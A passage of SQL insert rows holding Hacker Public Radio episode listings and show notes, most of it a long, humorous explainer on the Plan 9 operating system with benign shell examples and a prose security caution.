(3666,'2022-08-22','One Weird Trick',997,'I talk about getting into or advancing in cybersecurity & how keyboards could trick malware.','<p>In this episode, I talk about getting in to the field of cybersecurity or moving up in the field. I also talk about how keyboards could keep malware from going Boom on your system.</p>\n<h2 id=\"links\">Links:</h2>\n<ul>\n<li><p>Try This One Weird Trick Russian Hackers Hate<br />\n<a href=\"https://krebsonsecurity.com/2021/05/try-this-one-weird-trick-russian-hackers-hate/\" class=\"uri\">https://krebsonsecurity.com/2021/05/try-this-one-weird-trick-russian-hackers-hate/</a></p></li>\n<li><p>Fake VM Sandbox artifacts - not talked about in this episode<br />\n<a href=\"https://github.com/NavyTitanium/Fake-Sandbox-Artifacts\" class=\"uri\">https://github.com/NavyTitanium/Fake-Sandbox-Artifacts</a></p></li>\n<li><p>Has your password been involved in a breach?<br />\n<a href=\"https://haveibeenpwned.com/\" class=\"uri\">https://haveibeenpwned.com/</a></p></li>\n<li><p>Realtime Global Cyber Attack Map<br />\n<a href=\"https://threatmap.checkpoint.com/\" class=\"uri\">https://threatmap.checkpoint.com/</a></p></li>\n</ul>\n',405,74,1,'CC-BY-SA','cybersecurity,security,EvilSteve,malware, career',0,0,1),
(3669,'2022-08-25','My First Podcast: My Journey into the Computer World',1207,'How I was introduced into computers, Linux, robotics, programming, cibersecurity and more...','<h1 id=\"milestones-in-my-journey\">Milestones in my Journey</h1>\n<ol>\n<li>Studied Windows office and played online games</li>\n<li>Electronics</li>\n<li>Programming with Scratch</li>\n<li>Studied Javascript with Khan Academy</li>\n<li>Used Processing</li>\n<li>Learned Arduino and robotics</li>\n<li>Programmed with Visual Studio Code</li>\n<li>Learned Git</li>\n<li>Learned Windows Batch, VBS, registry, and others</li>\n<li>Introduction to Linux and disks with Tails</li>\n<li>Installation of Linux mint</li>\n<li>Installation of Debian</li>\n<li>Learned Apt, sudo, and other commands</li>\n<li>Discovered the Raspberry Pi</li>\n<li>Learned ssh, vnc, servers and networking with the Raspberry Pi</li>\n<li>Received a Thinkpad laptop and installed on it Bodhi Linux, Linux Lite and Alpine Linux</li>\n<li>Learned about erasure, recovery and encryption of data</li>\n<li>Learned more about Linux (Screen, network configuration, emacs, programming in C)</li>\n<li>Discovered <a href=\"https://nethackwiki.com/wiki/NetHack\">Nethack</a> and <a href=\"https://gitlab.com/esr/open-adventure\">Open Adventure</a> console games</li>\n<li>Studied hacking and pentesting</li>\n<li>Helped a company with its computers and learned from it guys</li>\n<li>Introduction to Python and BSD</li>\n</ol>\n',410,29,0,'CC-BY-SA','linux, programming, cibersecurity, robotics, hardware',0,0,1),
(3678,'2022-09-07','\"Stupid Users\" ... no, not those users, the other \"stupid users\"',907,'Brady & I discuss stupid things done by those of us who really should know better.','<p>In this week\'s episode, I chat with R. Brady Frost about the little plumber vs the gigantic rock. Then we move in to a discussion about the fallacy of stupid users with some great stories of stupid things done by those of us who really should know better. The moral of the story, is that we are all human and nothing will ever change that. Instead, we need to be prepared for when humans are human.</p>\n<h2 id=\"links\">Links:</h2>\n<ul>\n<li>Realtime Global Cyber Attack Map<br />\n<a href=\"https://threatmap.checkpoint.com/\" class=\"uri\">https://threatmap.checkpoint.com/</a></li>\n</ul>\n',405,74,1,'CC-BY-SA','cybersecurity,security,EvilSteve,users,stupid human tricks,customer service',0,0,1),
(3689,'2022-09-22','Linux Inlaws S01E65: TerminusDB',4071,'TerminusDB NoSQL database','<p>As part of the effort of turning the planet\'s premier Rust marketing podcast into a full-blown NoSQL show, in this episode Chris hosts some of the key people behind a NoSQL database called TerminusDB (Martin couldn\'t make it as he was firing, um, re-organising the Inlaw\'s marketing department once again). Luke (the CEO) and Gavin (CTO) of TerminusDB spill the beans on the history of the project, ontologies and why they still matter not only in a mobile-first world and why a website called DB Engines simply doesn\'t do the trick (putting it very diplomatically). Never mind the road ahead... (including quantum AI and some other fancy stuff - you heard it here first!). And also next week\'s lotto numbers (perhaps).</p>\n<h2>Links:</h2>\n<ul>\n<li>Trinity College Dublin: <a href=\"https://tcd.ie\" target=_blank>https://tcd.ie</a></li>\n<li>TerminusDB: <a href=\"https://terminusdb.com\" target=_blank>https://terminusdb.com</a></li>\n<li>TerminusDB on Github: <a href=\"https://github.com/terminusdb/terminusdb\" target=_blank>https://github.com/terminusdb/terminusdb</a></li>\n<li>Seshat: <a href=\"http://seshatdatabank.info\" target=_blank>http://seshatdatabank.info</a></li>\n<li>DBpedia: <a href=\"https://www.dbpedia.org\" target=_blank>https://www.dbpedia.org</a></li>\n<li>Terminus @ Isaac Asimov: <a href=\"https://en.wikipedia.org/wiki/Foundation_series\" target=_blank>https://en.wikipedia.org/wiki/Foundation_series</a></li>\n<li>RDFs: <a href=\"https://www.w3.org/TR/rdf11-concepts\" target=_blank>https://www.w3.org/TR/rdf11-concepts</a></li>\n<li>HDT: <a href=\"https://www.rdfhdt.org/what-is-hdt\" target=_blank>https://www.rdfhdt.org/what-is-hdt</a></li>\n<li>Rust episode (S01E53): <a href=\"http://hackerpublicradio.org/eps.php?id=3569\" target=_blank>http://hackerpublicradio.org/eps.php?id=3569</a></li>\n<li>Open source licenses episode (S01E536): <a href=\"https://hackerpublicradio.org/eps.php?id=3399\" target=_blank>https://hackerpublicradio.org/eps.php?id=3399</a></li>\n<li>TerminusDB @ Social: <a href=\"https://terminusdb.com/community\" target=_blank>https://terminusdb.com/community</a></li>\n<li>AI Infrastructure Alliance: <a href=\"https://ai-infrastructure.org\" target=_blank>https://ai-infrastructure.org</a></li>\n<li>Google\'s Carbon: <a href=\"https://github.com/carbon-language/carbon-lang\" target=_blank>https://github.com/carbon-language/carbon-lang</a></li>\n<li>When we cease to understand the world: <a href=\"https://en.wikipedia.org/wiki/Benjam%C3%ADn_Labatut#When_We_Cease_to_Understand_the_World\" target=_blank>https://en.wikipedia.org/wiki/Benjamín_Labatut#When_We_Cease_to_Understand_the_World</a></li>\n<li>Substack: <a href=\"https://benn.substack.com\" target=_blank>https://benn.substack.com</a></li>\n<li>Chi-Raq: <a href=\"https://www.imdb.com/title/tt4594834/?ref_=fn_al_tt_1\" target=_blank>https://www.imdb.com/title/tt4594834/?ref_=fn_al_tt_1</a></li>\n</ul>\n',384,111,1,'CC-BY-SA','TerminusDB, graph databases, Seshat, Rust, Carbon by Google, Substack',0,0,1),
(3671,'2022-08-29','Response to Episode 3655, \"BSD for Linux Users\"',674,'Claudio responds to binrc\'s episode on BSD for Linux Users and rambles on about other BSD stuff.','<h2 id=\"my-geeeky-experiment-blog-posts\">My gEeeky Experiment blog posts:</h2>\n<ul>\n<li>Part 1: <a href=\"https://claudiomiranda.wordpress.com/2020/01/04/my-geeeky-experiment-part-1/\" class=\"uri\">https://claudiomiranda.wordpress.com/2020/01/04/my-geeeky-experiment-part-1/</a></li>\n<li>Part 2: <a href=\"https://claudiomiranda.wordpress.com/2020/01/12/my-geeeky-experiment-part-2/\" class=\"uri\">https://claudiomiranda.wordpress.com/2020/01/12/my-geeeky-experiment-part-2/</a></li>\n<li>Part 3: <a href=\"https://claudiomiranda.wordpress.com/2020/10/04/my-geeeky-experiment-part-3/\" class=\"uri\">https://claudiomiranda.wordpress.com/2020/10/04/my-geeeky-experiment-part-3/</a></li>\n</ul>\n<h2 id=\"my-geeeky-experiment-hpr-episodes\">My gEeeky Experiment HPR Episodes:</h2>\n<ul>\n<li>Part 1: <a href=\"https://hackerpublicradio.org/eps.php?id=3383\" class=\"uri\">https://hackerpublicradio.org/eps.php?id=3383</a></li>\n<li>Part 2: <a href=\"https://hackerpublicradio.org/eps.php?id=3418\" class=\"uri\">https://hackerpublicradio.org/eps.php?id=3418</a></li>\n<li>Part 3: <a href=\"https://hackerpublicradio.org/eps.php?id=3527\" class=\"uri\">https://hackerpublicradio.org/eps.php?id=3527</a></li>\n</ul>\n<ul>\n<li>Blog post about my Evoo laptop (and then some): <a href=\"https://claudiomiranda.wordpress.com/2022/06/20/a-new-beastie-and-an-old-slacker/\" class=\"uri\">https://claudiomiranda.wordpress.com/2022/06/20/a-new-beastie-and-an-old-slacker/</a></li>\n</ul>\n',152,0,1,'CC-BY-SA','bsd, openbsd, freebsd, netbsd, binrc, response, unix',0,0,1),
(3673,'2022-08-31','Recording for Hacker Public Radio',1066,'My experiences recording episodes of HPR','<ul>\n<li>How I\'ve recorded episodes:\n<ul>\n<li>iPhone 7 with Apple earbuds</li>\n<li>Zoom H1 Handy Recorder</li>\n<li>Sennheiser MB Pro 2 with <a href=\"https://gitlab.com/norrist/solocast\">Solocast</a></li>\n<li>Google Pixel 3 with the Dolby On app</li>\n</ul></li>\n<li>What is the compressor, and how to use it.</li>\n<li>What is the EQ, and how to use it.</li>\n<li>Environment, noise and reverberation</li>\n<li>Warming up, breathing</li>\n</ul>\n<p>Episodes referenced here:<br />\n<a href=\"http://hackerpublicradio.org/eps.php?id=3625\">hpr3625 :: Shell Tips and Snippets - Collaborative Effort hosted by Carl</a><br />\n<a href=\"http://hackerpublicradio.org/eps.php?id=3496\">hpr3496 :: How I record HPR Episodes</a><br />\n<a href=\"http://hackerpublicradio.org/eps.php?id=1342\">hpr1342 :: Power Tool Drag Racing! hosted by MrGadgets</a></p>\n<p>All the information in this show is just what I have learned and what I think. Let us know if you have learned other things by recording your own show!</p>\n',399,45,0,'CC-BY-SA','\"sound editing\"',0,0,1),
(3675,'2022-09-02','Plan 9: An exercise in futility',4771,'I talk about the design of Plan 9 and how I use it','<h1 id=\"plan-9-an-exercise-in-futility\">Plan 9: An exercise in futility</h1>\n<h5 id=\"it-is-my-right-to-exercise-my-futility-wherever-whenever-and-with-whoever-i-please\">It is my right to exercise my futility wherever, whenever, and with whoever I please</h5>\n<h1 id=\"some-ideas-about-plan-9\">Some ideas about Plan 9:</h1>\n<blockquote>\n<p>It\'s like the uncanny valley of UNIX</p>\n</blockquote>\n<blockquote>\n<p>Cool, but useless</p>\n</blockquote>\n<blockquote>\n<p>Can you sum up plan 9 in layman\'s terms? It does everything Unix does only less reliably - Ken Thompson</p>\n</blockquote>\n<blockquote>\n<p>If you cannot imagine a use for a computer that does not involve a web browser, Plan 9 may not be for you - 9front FQA</p>\n</blockquote>\n<blockquote>\n<p><code>#d/0:28: null list in concatenation</code></p>\n</blockquote>\n<h1 id=\"history-and-description\">History and description</h1>\n<p>The boys at bell labs decide UNIX wasn\'t good enough so they decided to build something better: a distributed multiuser operating system composed of many machines. Many of the same ideas behind UNIX were pushed to absurd extremes. The idea that \"everything is a file\" is made blatantly apparent to everyone and sometimes, in my opinion, can feel \'overly-abstracted\'. Additionally, the concept of private namespaces makes the concept of virtual filesystems seem like \'baby\'s first filesystem abstraction\'.</p>\n<p>Just like UNIX, 9 started as a research operating system. Both are enjoyed by hobbyists, both are interesting ways of using a computer, both have a lot of fun in store. But the systems do diverge in one major aspect: UNIX is mainstream and 9 is still a research operating system. Plan 9 is currently distributed under the MIT license.</p>\n<p>\"What is plan 9?\", Taken directly from <code>intro(1)</code>:</p>\n<blockquote>\n<p>Plan 9 is a distributed computing environment assembled from separate machines acting as terminals, CPU servers, and file servers. A user works at a terminal, running a window system on a raster display. Some windows are connected to CPU servers; the intent is that heavy computing should be done in those windows but it is also possible to compute on the terminal. A separate file server provides file storage for terminals and CPU servers alike.</p>\n</blockquote>\n<p>In practice, modern 9 users just run all of these services on a single machine because maintaining many machines to achieve a single usable \'operating system\' is unnecessary; the 9 user finds himself scared and alone without enough users (1 is rarely enough) to justify building a distributed environment.</p>\n<h1 id=\"use-cases\">Use cases</h1>\n<p>Intended: distributed multiuser network (ie not mainframe), later embedded since UNIX was too bad to be stopped</p>\n<p>Actual: Acting like a UNIX hipster, pretending that 9 is anything other than vaporware, imagining that you are gaining social credit by posting screenshots of abandonware on internet forums. See also: Operating System Tourism</p>\n<h1 id=\"9-in-the-wild\">9 in the wild</h1>\n<ul>\n<li>Unicode is now a plague</li>\n<li>rfork</li>\n<li>9p\n<ul>\n<li>leveraged by microsoft to discourage end users from actually running GNU+Linux as St Ignucius intended</li>\n<li>QEMU\'s VirtFS</li>\n</ul></li>\n<li>various window managers for UNIX, written by people who like the ideas behind 9 but not enough to actually run 9</li>\n<li>\"cool idea, I\'m adding it to Linux\"</li>\n</ul>\n<ul>\n<li>private namespaces</li>\n<li>union directories</li>\n<li>see: docker</li>\n</ul>\n<h1 id=\"design\">Design</h1>\n<p>The goal of 9 was to build a distributed operating system that expands upon Unixy ideas, <strong>not</strong> to build something that\'s backwards compatible. \"We want to improve UNIX\" is mutually exclusive to \"we want to port UNIX to this wacky new kernel\". UNIX programs (and behemoths like FireFox) are difficult^impossible to port to 9 because of this design decision.</p>\n<h2 id=\"distributed-operating-systems\">Distributed operating systems</h2>\n<p>Since 9 was designed to be a distributed operating system, many of the internals are oriented towards networking. On a single system installation, all three of the components that make a 9 network are working together in a client-server model. The filesystem is presented as a service, the CPU is presented as a service, and the terminal is presented as a service. This type of \"abstraction from the physical hardware\" makes it difficult to succinctly describe and explain 9.</p>\n<p>If you think about 9 as a heterogeneous network of machines the ideas start to make sense. If you think about 9 as a self-contained single-machine operating system the ideas only become more confusing.</p>\n<p>One thing that has helped me wrap my head around the client/server idea is actually thinking less. When running a MySQL server in a LAMP stack, the database server and client are running on the same machine. When writing a program, you instruct the client to access the database located at the address <code>localhost</code>. Despite the design intention to run the database as a separate machine, loopback device hacks ensue. The idea of client/server permeates 9.</p>\n<p>The filesystem? Presented as a server regardless of what physical machine it\'s located on. The CPU? Presented as a server regardless of what physical machine it\'s located on. The terminal? Presented as a server regardless of the physical machine it\'s located on.</p>\n<p>On a single machine 9 installation, all of these servers are running locally but accessed <em>as if</em> they were running remotely. Insanity ensues but at least it\'s easier to write code for.</p>\n<h2 id=\"9p-the-plan-9-filesystem-protocol\">9p: the Plan 9 Filesystem Protocol</h2>\n<p>9p is a networking protocol that makes this client/server model possible. Internally, the filesystem is served to the client over 9p. Many applications make use of 9p, including text editors, windowing systems, plumber, etc. In UNIX, everything is a file. In 9, everything is a filesystem accessed via 9p.</p>\n<h2 id=\"private-namespaces-union-directories\">Private Namespaces, Union Directories</h2>\n<p>The most important aspect of 9: namespaces.</p>\n<p>Namespaces have caused me much confusion until recently. In 9, each process constructs a unique view of the filesystem. The phrase that gets stuck in my head is \"a private namespace is a per-process view of the filesystem\". The easiest way to think about namespaces is to think about a \"virtual directory\". Unix has \"virtual filesystems\", 9 has \"virtual directories\".</p>\n<p>The concept of namespaces allows a user to pull resources from all over the network and present them as \"a single local filesystem\" with absolute disregard for where these resources are actually coming from. In order to construct a namespace, union directories are used. A union directory is a directory made of several directories bound to the same directory. This concept is similar to a bind mount on UNIX.</p>\n<p>The kernel keeps separate mount table for each process. Using namespaces, a user or admin can create more secure isolated environments (similar to a chroot).</p>\n<p>Processes and their children are grouped together so that inheritance of the namespace occurs. These process groups can be customized.</p>\n<hr />\n<p>The \'per-process namespace\' concept can be confusing to UNIX users at first, especially when binding (ie mounting) resources. When I first started using 9 I was very confused when I bound something in one terminal, switched to another, then became disoriented as the thing I just bound seemingly stopped existing. My big example is mounting the boot partition or a filesystem over ssh:</p>\n<pre class=\"sh\"><code># In this window, I have bound the boot partition.\n# It behaves expectedly.\nterm% 9fs 9fat\nterm% lc /n\n9/      9fat/   other/  ssh/\nterm% lc /n/9fat\n9bootfat        9pc64           oldplan9.ini    plan9.ini\n9pc             efi/            pbs.bak\nterm%\n</code></pre>\n<pre class=\"sh\"><code># In this other window, the boot partition doesn&#39;t seem to be mounted.\n# This causes much confusion for the end user.\nterm% lc /n\n9/      9fat/   other/  ssh/\nterm% lc /n/9fat\nterm%\n</code></pre>\n<hr />\n<h1 id=\"files\">Files</h1>\n<p>The second most important aspect of 9: \"Everything is a file\" taken to absurdist absolutes. The kernel presents hardware devices as files bound to /dev. Within the namespace, devices are just files. Outside the namespace, devices are named with a leading <code>#</code> to help distinguish between pseudo-files and devices. These physical devices are bound to <code>/dev/</code> and presented as files for easy administration, access, and programming. Presenting everything as a file accessible via 9p greatly reduces the total number of system calls.</p>\n<hr />\n<p>Examples of \"Everything is a file\":</p>\n<pre class=\"sh\"><code># The clipboard in 9 is called /dev/snarf\n# We can easily write and read from this clipboard\nterm% cat /dev/snarf\nSYNOPSIS\n#include &lt;u.h&gt;\n\n#include &lt;libc.h&gt;\n\n#include term%\nterm% fortune &gt; /dev/snarf\nterm% cat /dev/snarf\nIf at first you succeed, try to hide your astonishment.\nterm%\n</code></pre>\n<pre class=\"sh\"><code># The display in 9 is called /dev/screen\n# We can easily take a screenshot\nterm% file /dev/screen\n/dev/screen: plan 9 image, depth 32, size 1366x768\nterm% cat /dev/screen | topng &gt; screenshot.png\nterm% file screenshot.png\nscreenshot.png: PNG image\nterm%\n</code></pre>\n<hr />\n<h2 id=\"message-oriented-filesystem\">Message oriented filesystem</h2>\n<p>Continuing with the idea that \"everything is a filesystem\", processes can offer services to other processes by placing virtual files into other processes\' namespaces. File I/O on this special virtual file becomes interprocess communication. This is similar to a UNIX socket but significantly less difficult to program against because all of the hard parts have been abstracted: it\'s just simple file I/O.</p>\n<h2 id=\"virtual-filesystem-with-more-special-files\">Virtual filesystem (with more special files)</h2>\n<p>The <code>/proc</code> filesystem presents processes as a files in a filesystem. This makes writing programs that manage process extremely easy by reducing the total number of system calls to simple file I/O. The <code>/proc</code> filesystem allows users to manage processes using standard command line utilities like <code>cat(1)</code> and <code>ls(1)</code>.</p>\n<p>Linux borrowed the idea of a <code>/proc</code> filesystem.</p>\n<h2 id=\"unicode\">Unicode</h2>\n<p>Although the implementation is not fully internationalized, UTF-8 is fully there. Unicode is fully backwards compatible with ASCII. Thanks to &#x2468;, we now have people writing exclusively with primitive hieroglyphics instead of words.</p>\n<h2 id=\"portability\">Portability</h2>\n<p>Just like UNIX, 9 was designed with portability in mind. 9 is written in a strange dialect of ANSI C which means it\'s portable. Although the system is self hosting, images are rarely built on a self hosting environment. Instead, the end user will download a generic amd64 or i386 image, cross compile for the obscure target architecture, wrap it up in an install image, then burn that image to an install disk. After installation, it is generally a good idea to recompile the entire operating system so that your copy is self-hosted.</p>\n<p>The compiler suite is quite clever in that each compiler is named according to the target architecture, the object files are named according to the target architecture, etc. The alnum prefix/extensions are also shared by the various linkers and assemblers.</p>\n<pre><code>0c spim    little-endian MIPS 3000 family\n\n1c 68000   Motorola MC68000\n\n2c 68020   Motorola MC68020\n\n5c arm     little-endian ARM\n\n6c amd64   AMD64 and compatibles (e.g., Intel EM64T)\n\n7c arm64   ARM64 (ARMv8)\n\n8c 386     Intel i386, i486, Pentium, etc.\n\nkc sparc   Sun SPARC\n\nvc mips    big-endian MIPS 3000 family\n</code></pre>\n<h2 id=\"filesystems\">Filesystems</h2>\n<p>Multiple filesystems are supported, most suck. The only one the average tourist has heard of is FAT. The one I use is <code>cwfs64x(4)</code>. cwfs is a strange filesystem. Every night, it makes a dump of the filesystem. You can access these dumps by running:</p>\n<pre class=\"sh\"><code>9fs dump\ncd /n/dump/YYYY/MMDD/\n</code></pre>\n<p>And, managing the file server (trying to uncorrupt cwfs), all while the kernel is spraying error messages</p>\n<pre><code>term% con -C /srv/cwfs.cmd\nhelp\ncheck tag\ncheck ream\ncheck free\ncheck\n</code></pre>\n<p>After my system crashes, and after consulting <code>fs(8)</code>, the above commands seem to solve my corruption problems. Not always. But sometimes.</p>\n<p>The cache is a WORM: Write Once Read Many filesystem. Traditionally, the \"fast\" hard drives would be backed up to tape archives. In the modern era, we have a WORM partition. The worm partition stores data forever so it will eventually get full and need cleaning. It is possible to run without a WORM but it\'s a bad idea. Built in version control.</p>\n<p>Data integrity not guaranteed.</p>\n<h2 id=\"secstore\">Secstore</h2>\n<p>stores various passwords to nvram. BIOS integrety not gauranteed. If you don\'t like thrashing the nvram and it\'s limited write ops, an partition can be created and mouted as if it were nvram.</p>\n<h2 id=\"factotum\">Factotum</h2>\n<p>stores various passwords in memory (like ssh-agent)</p>\n<h1 id=\"known-forks\">Known forks</h1>\n<ul>\n<li><p>Dead:</p>\n<ul>\n<li><a href=\"https://p9f.org/\">Plan 9 From Bell Labs (also called \'Labs 9\', the original)</a></li>\n<li><a href=\"https://web.archive.org/web/20201111224911/http://www.9atom.org/\">9atom (even the domain has expired)</a></li>\n<li><a href=\"http://akaros.org\">Akaros </a></li>\n<li><a href=\"https://harvey-os.org/\">Harvey (attempt to port 9 to GCC/Clang)</a></li>\n<li><a href=\"https://lsub.org/nix/\">NIX </a></li>\n<li><a href=\"http://jehanne.io/\">jehanneOS </a></li>\n<li><a href=\"https://github.com/jvburnes/node9\">node9 </a></li>\n<li><a href=\"https://www.vitanuova.com/inferno/\">inferno (in permanent limbo)</a></li>\n</ul></li>\n<li><p>Life Support:</p>\n<ul>\n<li><a href=\"https://9front.org\">9front (actively developed, many QOL patches)</a></li>\n<li><a href=\"http://www.9legacy.org/\">9legacy (patches applied to Labs9)</a></li>\n<li><a href=\"https://9fans.github.io/plan9port/\">Plan 9 From User Space (also called \'plan9port\', you will be laughed at)</a></li>\n</ul></li>\n</ul>\n<p><a href=\"https://9front.org\">9front</a> is really the only \'usable\' one because the QOL modifications add important things like general stability, git client, mercurial, ssh, various emulators, audio, WiFi, and USB support.</p>\n<h1 id=\"using-9\">Using 9</h1>\n<p>What does the 9 experience actually look like in 2022? You put 9 in a VM, posted a screenshot, shutdown the VM, then continued using Ubuntu because you can\'t play video games or easily watch videos online in 9.</p>\n<p>Hardware support in 9front is expanding but still limited. <a href=\"http://plan9.stanleylieber.com/hardware/\">Refer to the list of supported hardware.</a> I run 9front on a Thinkpad x220 and it seems to just work. Some people run it on a Raspi but I\'m not sure why. It works quite well with KVM and QEMU if you\'re an OS tourist. I see no reason to add a dmesg because it will either work or it won\'t.</p>\n<h1 id=\"available-software\">Available software</h1>\n<p>GNU might not be UNIX but 9 isn\'t even trying to be UNIX-like.</p>\n<h2 id=\"gui\">GUI</h2>\n<p>Unlink UNIX, 9 was designed with graphics in mind. Some people have said that the 9 GUI looks similar to a smalltalk machine but I think it\'s just the only good stacking window manager. A three button mouse is necessary for using 9front. Shift-rightclick emulates middle click.</p>\n<h3 id=\"rio\">Rio</h3>\n<p>Rio is the Plan 9 windowing system. It\'s the successor to 8&#xBD; window manager. Rio is lightweight compared to X11 because access to graphical hardware is built into the kernel and using files+namespaces to access input devices.</p>\n<p>The most brief way of explaining rio is to think of it as a rectangle multiplexer, where each rectangle is served a file interface (9p). Although rectangles might seem counterintuitive at first, thinking less hard makes it easier to use. I still have difficulty efficiently using a mouse-centric interface after using terminal interfaces almost exclusively for many years. I dislike the windows way of using a mouse but the 9 way seems to make quite a lot of sense when I \"think less hard\" and allow the intuition to take control.</p>\n<p>The argument for mouse-centric computing and text editing is that it\'s faster. Of course, the average vim user is editing text faster than the speed of thought but most people aren\'t the average vim user. Instead, they only know how to use arrow keys to move a cursor. Without memorizing hundreds of vim bindings (and forgetting the names and birth dates of your family members in the process), obviously a mouse is faster.</p>\n<p>Mouse controls are confusing at first because they follow the \"click and hold, hover to option, release\" to select an option. They look something like follows:</p>\n<ul>\n<li>Right click (window management controls)\n<ul>\n<li>New</li>\n<li>Resize</li>\n<li>Move</li>\n<li>Delete</li>\n<li>Hide</li>\n</ul></li>\n<li>Middle click (text manipulation controls)\n<ul>\n<li>cut</li>\n<li>paste</li>\n<li>snarf (copy highlighted text)</li>\n<li>plumb (send highlighted text to process, or, more effectively: open file with appropriate program)</li>\n<li>look (search for highlighted text)</li>\n<li>send (run highlighted text as a shell command)</li>\n<li>scroll (toggle autoscroll/noautoscroll)\n<ul>\n<li>The left click button is used to select text and windows.</li>\n</ul></li>\n</ul></li>\n</ul>\n<p>The concept of mouse-chording is also prominent in rio but it\'s even more difficult to explain without a visual demonstration.</p>\n<p>Rio and it\'s windows also support UNIX style keyboard shortcuts:</p>\n<ul>\n<li>^-u deletes from cursor to start of line</li>\n<li>^-w deletes word before cursor</li>\n<li>^-h deletes the character before the cursor</li>\n<li>^-a moves the cursor to the start of the line</li>\n<li>^-e moves the cursor to the end of the line</li>\n<li>^-b moves the cursor back to the prompt</li>\n<li>^-f is the autocomplete key, functionally equivalent to tab completion</li>\n<li>^? (DEL key) is the equivalent to ^-c on UNIX</li>\n</ul>\n<p>Additionally, in a text window, the arrow keys and PgUp/PgDown keys behave as expected. The home/end keys scroll the window to the top/bottom of the text buffer respectively.</p>\n<p>These text windows have a built in pager so there is no <code>more</code> or <code>less</code> command. I can\'t decide if I like built in paging but it\'s definitely a thing to think about.</p>\n<p>The colorscheme of rio is dull and pastel and this is intentional. Less vibrant color schemes seem to fade away and become less obvious. Color themes like Tango, Linux Console, Solarized, all of KDE, and WIndows XP are very obvious but not in a good way. Bright colors are subtly distracting and make it difficult to concentrate. When I\'m configuring a UNIX system with dwm, I borrow Rio\'s color theme because it\'s an anti-theme. Give it time. It\'s charming in it\'s own way. Modifying the source code for rio allows for custom color themes. It\'s possible but you will be laughed at. Setting a wallpaper is also possible but I don\'t do this because my windows are always covering the dull gray background.</p>\n<p>As for X11, the equis X11 server can only be run via linux compat layers. The lack of a viable X server is yet another reason 9 has no programs.</p>\n<h2 id=\"command-line-utilities\">Command Line Utilities</h2>\n<p>The shell on 9 is called <code>rc(1)</code>. It\'s like any other shell you\'ve used except that you expect it to be bourne-like but it isn\'t. Standard UNIX shell concepts like pipes, file redirects, &amp;&amp; and ||, etc. Scripting is not POSIX-like at all so reading the man page and various scripts written in <code>rc</code> is the only way to learn.</p>\n<p>Other various UNIX utilities exist and function as expected (although some of the ones you would like are missing). <code>awk</code>, <code>grep</code>, <code>sed</code>, <code>cat</code>, <code>tar</code>, <code>gzip</code>, <code>ed</code>, etc are present.</p>\n<h2 id=\"editors\">Editors</h2>\n<p>There are three primary ways of editing text on 9: <code>ed(1)</code>, <code>sam(1)</code>, and <code>acme(1)</code>. There is no <code>vi</code> aside from the MIPS emulator, there is no <code>emacs</code> except for a man page explaining why there is no emacs.</p>\n<p>I have primarily used acme in the past, but sam is a much better editor.</p>\n<p><code>sam</code> is a lot like a graphical version of <code>ed</code>. I still need to learn <code>ed</code> because it\'s the standard editor. Some of the standard <code>vi</code> commands are available and regex works. I like sam quite a lot but it seems to corrupt files when the system crashes.</p>\n<p><code>acme</code> is a window manager, file browser, terminal emulator, and email client that some people use as a text editor. The coolest part about acme is the ability to write arbitrary editor and system commands in the menu bar, highlight them, then middle click to execute those commands.</p>\n<h2 id=\"some-of-the--supported-networking-protocols\">(Some of the ) Supported Networking Protocols</h2>\n<ul>\n<li>IMAP\n<ul>\n<li>good luck</li>\n</ul></li>\n<li>NTP</li>\n<li>IRC\n<ul>\n<li>ircrc</li>\n<li>other non-default implementations exist</li>\n</ul></li>\n<li>FTP</li>\n<li>HTTP\n<ul>\n<li><code>mothra</code> is the standard web browser. It does not support CSS or all of the HTML tags. Obviously, javascript is unsupported.</li>\n<li><code>abaco</code> exists. I\'ve used it a few times. It renders slightly better than mothra but is a pain to use.</li>\n<li>Various inferno vaporware exists but the ports don\'t work</li>\n<li>NetSurf has been ported to 9front by leveraging components of APE. It almost works</li>\n<li><code>hget</code>, like curl</li>\n</ul></li>\n<li>SSH\n<ul>\n<li>it only works in conjunction with the <code>vt(1)</code> command.</li>\n<li>sshfs</li>\n<li>sshnet for proxying traffic</li>\n</ul></li>\n<li>VNC</li>\n<li>Various torrent software (magnet links not supported)</li>\n<li>Drawterm\n<ul>\n<li>no, good luck, you will be laughed at</li>\n</ul></li>\n<li>Of course, 9p</li>\n</ul>\n<h3 id=\"a-security-aside\">A Security aside</h3>\n<p>Various server implementations for these protocols exist but you really shouldn\'t use them on the WAN as they are ancient, unmaintained, unaudited, and easy to exploit. Prime example: the /g/entoomen found a path traversal vulnerability in the 9front httpd server, then leveraged that vuln to exploit a vuln in the authentication system. Not that the boys back home did anything malicious with this bug . . . but the ability to pwn a system by sending cleverly crafted GET requests should tell you enough about the current state of security in 9.</p>\n<ul>\n<li>Firewall\n<ul>\n<li>no</li>\n</ul></li>\n<li>Disk Encryption\n<ul>\n<li>unreliable</li>\n</ul></li>\n<li>Access control\n<ul>\n<li>what?</li>\n</ul></li>\n<li>filesystem\n<ul>\n<li>cwfs has an poorly documented special user called <code>none</code> that is allowed to connect to fossil, cwfs, and maybe hjfs without a password. Set the <code>nonone</code> option in cwfs if you are even thinking about putting 9 on the internet.</li>\n</ul></li>\n</ul>\n<p>Don\'t even think about putting 9 on the internet</p>\n<h2 id=\"unix-compat-layer-ape\">UNIX compat layer (ape)</h2>\n<p>APE is the ANSI POSIX Emulator. It doesn\'t work and is almost entirely empty. Lots of tiny programs to write, not much interest in writing lots of tiny program. There is a general attitude among 9 users that \"9 is unique\" porting POSIX libs to 9 would ruin the appeal. I almost think I agree with this sentiment.</p>\n<h2 id=\"emulation\">Emulation</h2>\n<ul>\n<li>Linux\n<ul>\n<li>don\'t</li>\n</ul></li>\n<li>GameBoy</li>\n<li>GameBoyAdvance</li>\n<li>NES</li>\n<li>SNES</li>\n<li>Sega MegaDrive/Genesis</li>\n<li>c64</li>\n<li>vmx, a PC emulator (effectively virtualization)\n<ul>\n<li>It\'s slow</li>\n<li>it almost works</li>\n<li>it crashes your system</li>\n<li>cwfs gets corrupted</li>\n<li>\"runs\" OpenBSD, Linux, and ancient Windows with graphics support</li>\n</ul></li>\n<li>and also various emulators for obscure architectures</li>\n</ul>\n<h2 id=\"vcs\">VCS</h2>\n<ul>\n<li>Mercurial used to come with 9front but it has been removed.</li>\n<li>CVS does exist but not in the base system.</li>\n<li>A native git implementation exists and is in the base system. It\'s bare bones but it mostly works.</li>\n</ul>\n<h2 id=\"community-maintained-software\">Community Maintained Software</h2>\n<p><a href=\"https://contrib.9front.org\">The 9front community has been collecting known programs for some time</a> and <a href=\"https://wiki.9front.org/extra\">various other community software can be found in 